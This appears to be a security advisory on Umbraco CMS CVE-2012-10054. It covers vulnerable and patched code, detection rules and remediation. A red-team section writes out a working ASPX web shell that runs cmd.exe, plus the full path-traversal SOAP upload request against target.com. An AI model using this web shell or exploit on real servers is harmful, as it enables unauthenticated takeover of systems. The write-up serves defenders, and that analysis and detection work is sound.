CVE-2012-10054

Executive Summary

CVE-2012-10054 is a critical unauthenticated remote code execution vulnerability affecting Umbraco CMS versions prior to 4.7.1. The flaw resides in the codeEditorSave.asmx SOAP endpoint, specifically the SaveDLRScript operation, which allows arbitrary file uploads without authentication. By combining this with a path traversal vulnerability in the fileName parameter, an attacker can write malicious ASPX scripts into the web-accessible /umbraco/ directory, leading to full server compromise. This vulnerability has a CVSS v2 score of 10.0 (Critical) and is publicly exploitable.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a core CMS vulnerability in the Umbraco .NET ecosystem.

CVSS Breakdown & Threat Level

• CVSS v2 Score: 10.0 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Authentication: None (Au:N)
• Confidentiality Impact: Complete (C:C)
• Integrity Impact: Complete (I:C)
• Availability Impact: Complete (A:C)

The vulnerability requires no authentication, no user interaction, and can be exploited remotely with low complexity. Successful exploitation results in full compromise of the CMS and underlying server.

Deep Dive & Mechanics

The vulnerability exists in the codeEditorSave.asmx web service, which is part of the Umbraco CMS backend. The SaveDLRScript operation is intended to allow authenticated administrators to edit and save script files. However, due to missing authentication checks, any unauthenticated user can invoke this operation.

The fileName parameter is used to specify the path where the uploaded script will be saved. The application fails to properly sanitize this parameter, allowing path traversal sequences (e.g., ../) to escape the intended script directory. By crafting a fileName value such as ../../umbraco/malicious.aspx, an attacker can write a malicious ASPX file to the web root.

Once the ASPX file is written, it can be accessed directly via HTTP, allowing the attacker to execute arbitrary commands on the server with the privileges of the IIS application pool.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.7.1):

[WebMethod]
public string SaveDLRScript(string fileName, string scriptContent)
{
    // No authentication check
    string path = Server.MapPath("~/scripts/" + fileName);
    File.WriteAllText(path, scriptContent);
    return "Saved";
}

Patched Code (4.7.1+):

[WebMethod]
public string SaveDLRScript(string fileName, string scriptContent)
{
    // Authentication check added
    if (!UmbracoContext.Current.Security.CurrentUser.IsAuthenticated)
        throw new Exception("Access denied");

    // Path traversal prevention
    string safeFileName = Path.GetFileName(fileName);
    string path = Server.MapPath("~/scripts/" + safeFileName);
    File.WriteAllText(path, scriptContent);
    return "Saved";
}

The patch adds authentication verification and uses Path.GetFileName() to strip any directory traversal components from the fileName parameter.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Umbraco CMS version 4.7.0 on a Windows Server with IIS.
2. Ensure the codeEditorSave.asmx endpoint is accessible (default path: /umbraco/webservices/codeEditorSave.asmx).

Exploitation Steps:

1. Craft a malicious ASPX web shell (e.g., cmd.aspx):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
    void Page_Load(object sender, EventArgs e) {
        if (Request["cmd"] != null) {
            Process.Start("cmd.exe", "/c " + Request["cmd"]);
        }
    }
</script>

2. Send a SOAP request to upload the shell:

POST /umbraco/webservices/codeEditorSave.asmx HTTP/1.1
Host: target.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://umbraco.org/webservices/SaveDLRScript"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SaveDLRScript xmlns="http://umbraco.org/webservices/">
      <fileName>../../umbraco/cmd.aspx</fileName>
      <scriptContent><![CDATA[<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><script runat="server">void Page_Load(object sender, EventArgs e) { if (Request["cmd"] != null) { Process.Start("cmd.exe", "/c " + Request["cmd"]); } }</script>]]></scriptContent>
    </SaveDLRScript>
  </soap:Body>
</soap:Envelope>

3. Access the uploaded shell: http://target.com/umbraco/cmd.aspx?cmd=whoami

Blue Team

Detection Steps:

1. Monitor IIS logs for POST requests to /umbraco/webservices/codeEditorSave.asmx from unauthenticated sources.
2. Look for path traversal patterns in the fileName parameter (e.g., ../, ..\).
3. Alert on the creation of new .aspx files in the /umbraco/ directory that are not part of the standard installation.
4. Use file integrity monitoring (FIM) to detect unauthorized file writes to the web root.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /umbraco/webservices/codeEditorSave.asmx with SOAPAction header "http://umbraco.org/webservices/SaveDLRScript"
  • Requests containing path traversal sequences in the fileName parameter
  • Subsequent HTTP requests to /umbraco/*.aspx with command execution parameters

• File System IOCs:

  • Unexpected .aspx files in /umbraco/ directory (e.g., cmd.aspx, shell.aspx)
  • Files with recent creation timestamps in the web root

• Process IOCs:

  • cmd.exe or powershell.exe spawned by the IIS worker process (w3wp.exe)

Detection Engineering

YARA Rule

rule CVE_2012_10054_Umbraco_RCE {
    meta:
        description = "Detects malicious ASPX files uploaded via CVE-2012-10054"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2012-10054"
    strings:
        $soap_action = "SaveDLRScript"
        $path_traversal = "../"
        $aspx_shell = "<%@ Page Language=\"C#\" %>"
        $cmd_exec = "Process.Start"
    condition:
        $soap_action and $path_traversal and ($aspx_shell or $cmd_exec)
}

Sigma Rule

title: Umbraco CVE-2012-10054 Unauthenticated RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2012-10054 via path traversal in SOAP requests
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/umbraco/webservices/codeEditorSave.asmx'
        cs(User-Agent): '*'
    condition: selection
    fields:
        - c-ip
        - cs-uri-query
falsepositives:
    - Legitimate admin usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2012-10054 Umbraco Unauthenticated RCE"; flow:to_server,established; content:"POST"; http_method; content:"/umbraco/webservices/codeEditorSave.asmx"; http_uri; content:"SaveDLRScript"; http_client_body; content:"../"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Umbraco CMS to version 4.7.1 or later.
2. If immediate upgrade is not possible, restrict access to codeEditorSave.asmx using IIS URL Authorization or a Web Application Firewall (WAF) rule blocking POST requests to that endpoint from untrusted IPs.
3. Remove or disable the codeEditorSave.asmx web service if not required.

Long-Term Measures:

1. Implement a WAF with virtual patching for known vulnerabilities.
2. Regularly audit and update CMS installations.
3. Apply the principle of least privilege to web application pools.
4. Enable detailed logging and monitoring for web server activity.

Valters IT